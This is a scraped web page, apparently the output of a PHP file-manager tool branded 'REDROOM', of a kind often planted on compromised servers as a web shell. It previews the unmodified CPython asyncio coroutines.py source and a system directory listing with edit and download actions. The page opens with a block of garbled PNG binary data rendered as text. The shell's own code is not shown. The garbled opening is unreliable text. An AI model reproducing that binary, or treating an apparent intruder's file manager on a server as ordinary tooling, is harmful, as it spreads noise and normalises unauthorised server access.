PNG  IHDR* pHYs+ IDATx]n#; cdLb Ǚ[at¤_:uP}>!Usă cag޿ ֵNu`ݼTâabO7uL&y^wFٝA"l[|ŲHLN밪4*sG3|Dv}?+y߉{OuOAt4Jj.u]Gz*҉sP'VQKbA1u\`& Af;HWj hsO;ogTu uj7S3/QzUr&wS`M$X_L7r2;aE+ώ%vikDA:dR+%KzƉo>eOth$z%: :{WwaQ:wz%4foɹE[9<]#ERINƻv溂E%P1i01 |Jvҗ&{b?9g=^wζXn/lK::90KwrюO\!ջ3uzuGv^;騢wq<Iatv09:tt~hEG`v;3@MNZD.1]L:{ծI3`L(÷ba")Y.iljCɄae#I"1 `3*Bdz>j<fU40⨬%O$3cGt]j%Fߠ_twJ;ABU8vP3uEԑwQ V:h%))LfraqX-ۿX]v-\9I gl8tzX ]ecm)-cgʒ#Uw=Wlێn(0hPP/ӨtQ“&J35 $=]r1{tLuǮ*i0_;NƝ8;-vݏr8+U-kruȕYr0RnC]*ެ(M:]gE;{]tg(#ZJ9y>utRDRMdr9㪩̞zֹb<ģ&wzJM"iI( .ꮅX)Qw:9,i좜\Ԛi7&N0:asϓc];=ΗOӣ APqz93 y $)A*kVHZwBƺnWNaby>XMN*45~ղM6Nvm;A=jֲ.~1}(9`KJ/V F9[=`~[;sRuk]rєT!)iQO)Y$V ی ۤmzWz5IM Zb )ˆC`6 rRa}qNmUfDsWuˤV{ Pݝ'=Kֳbg,UҘVz2ﴻnjNgBb{? ߮tcsͻQuxVCIY۠:(V뺕 ٥2;t`@Fo{Z9`;]wMzU~%UA蛚dI vGq\r82iu +St`cR.6U/M9IENDB` REDROOM
PHP 5.6.40
Preview: coroutines.py Size: 3.26 KB
//lib64/python3.12/asyncio/coroutines.py

__all__ = 'iscoroutinefunction', 'iscoroutine'

import collections.abc
import inspect
import os
import sys
import types


def _is_debug_mode():
    # See: https://docs.python.org/3/library/asyncio-dev.html#asyncio-debug-mode.
    return sys.flags.dev_mode or (not sys.flags.ignore_environment and
                                  bool(os.environ.get('PYTHONASYNCIODEBUG')))


# A marker for iscoroutinefunction.
_is_coroutine = object()


def iscoroutinefunction(func):
    """Return True if func is a decorated coroutine function."""
    return (inspect.iscoroutinefunction(func) or
            getattr(func, '_is_coroutine', None) is _is_coroutine)


# Prioritize native coroutine check to speed-up
# asyncio.iscoroutine.
_COROUTINE_TYPES = (types.CoroutineType, collections.abc.Coroutine)
_iscoroutine_typecache = set()


def iscoroutine(obj):
    """Return True if obj is a coroutine object."""
    if type(obj) in _iscoroutine_typecache:
        return True

    if isinstance(obj, _COROUTINE_TYPES):
        # Just in case we don't want to cache more than 100
        # positive types.  That shouldn't ever happen, unless
        # someone stressing the system on purpose.
        if len(_iscoroutine_typecache) < 100:
            _iscoroutine_typecache.add(type(obj))
        return True
    else:
        return False


def _format_coroutine(coro):
    assert iscoroutine(coro)

    def get_name(coro):
        # Coroutines compiled with Cython sometimes don't have
        # proper __qualname__ or __name__.  While that is a bug
        # in Cython, asyncio shouldn't crash with an AttributeError
        # in its __repr__ functions.
        if hasattr(coro, '__qualname__') and coro.__qualname__:
            coro_name = coro.__qualname__
        elif hasattr(coro, '__name__') and coro.__name__:
            coro_name = coro.__name__
        else:
            # Stop masking Cython bugs, expose them in a friendly way.
            coro_name = f'<{type(coro).__name__} without __name__>'
        return f'{coro_name}()'

    def is_running(coro):
        try:
            return coro.cr_running
        except AttributeError:
            try:
                return coro.gi_running
            except AttributeError:
                return False

    coro_code = None
    if hasattr(coro, 'cr_code') and coro.cr_code:
        coro_code = coro.cr_code
    elif hasattr(coro, 'gi_code') and coro.gi_code:
        coro_code = coro.gi_code

    coro_name = get_name(coro)

    if not coro_code:
        # Built-in types might not have __qualname__ or __name__.
        if is_running(coro):
            return f'{coro_name} running'
        else:
            return coro_name

    coro_frame = None
    if hasattr(coro, 'gi_frame') and coro.gi_frame:
        coro_frame = coro.gi_frame
    elif hasattr(coro, 'cr_frame') and coro.cr_frame:
        coro_frame = coro.cr_frame

    # If Cython's coroutine has a fake code object without proper
    # co_filename -- expose that.
    filename = coro_code.co_filename or '<empty co_filename>'

    lineno = 0

    if coro_frame is not None:
        lineno = coro_frame.f_lineno
        coro_repr = f'{coro_name} running at {filename}:{lineno}'

    else:
        lineno = coro_code.co_firstlineno
        coro_repr = f'{coro_name} done, defined at {filename}:{lineno}'

    return coro_repr

Directory Contents

Dirs: 1 × Files: 33

Name Size Perms Modified Actions
- drwxr-xr-x 2026-01-08 23:02:23
Edit Download
76.73 KB lrw-r--r-- 2025-10-09 11:07:00
Edit Download
1.93 KB lrw-r--r-- 2025-10-09 11:07:00
Edit Download
8.66 KB lrw-r--r-- 2025-10-09 11:07:00
Edit Download
2.61 KB lrw-r--r-- 2025-10-09 11:07:00
Edit Download
1.38 KB lrw-r--r-- 2025-10-09 11:07:00
Edit Download
3.26 KB lrw-r--r-- 2025-10-09 11:07:00
Edit Download
28.65 KB lrw-r--r-- 2025-10-09 11:07:00
Edit Download
1.71 KB lrw-r--r-- 2025-10-09 11:07:00
Edit Download
2.35 KB lrw-r--r-- 2025-10-09 11:07:00
Edit Download
14.00 KB lrw-r--r-- 2025-10-09 11:07:00
Edit Download
18.55 KB lrw-r--r-- 2025-10-09 11:07:00
Edit Download
124 B lrw-r--r-- 2025-10-09 11:07:00
Edit Download
481 B lrw-r--r-- 2025-10-09 11:07:00
Edit Download
32.71 KB lrw-r--r-- 2025-10-09 11:07:00
Edit Download
6.79 KB lrw-r--r-- 2025-10-09 11:07:00
Edit Download
7.79 KB lrw-r--r-- 2025-10-09 11:07:00
Edit Download
7.06 KB lrw-r--r-- 2025-10-09 11:07:00
Edit Download
47.20 KB lrw-r--r-- 2025-10-09 11:07:00
Edit Download
31.15 KB lrw-r--r-- 2025-10-09 11:07:00
Edit Download
6.91 KB lrw-r--r-- 2025-10-09 11:07:00
Edit Download
26.97 KB lrw-r--r-- 2025-10-09 11:07:00
Edit Download
7.56 KB lrw-r--r-- 2025-10-09 11:07:00
Edit Download
9.33 KB lrw-r--r-- 2025-10-09 11:07:00
Edit Download
36.49 KB lrw-r--r-- 2025-10-09 11:07:00
Edit Download
790 B lrw-r--r-- 2025-10-09 11:07:00
Edit Download
5.20 KB lrw-r--r-- 2025-10-09 11:07:00
Edit Download
10.47 KB lrw-r--r-- 2025-10-09 11:07:00
Edit Download
2.42 KB lrw-r--r-- 2025-10-09 11:07:00
Edit Download
51.88 KB lrw-r--r-- 2025-10-09 11:07:00
Edit Download
31.82 KB lrw-r--r-- 2025-10-09 11:07:00
Edit Download
4.94 KB lrw-r--r-- 2025-10-09 11:07:00
Edit Download
1.19 KB lrw-r--r-- 2025-10-09 11:07:00
Edit Download
3.41 KB lrw-r--r-- 2025-10-09 11:07:00
Edit Download

If ZipArchive is unavailable, a .tar will be created (no compression).
© 2026 REDROOM — Secure File Manager. All rights reserved. Built with ❤️ & Red Dark UI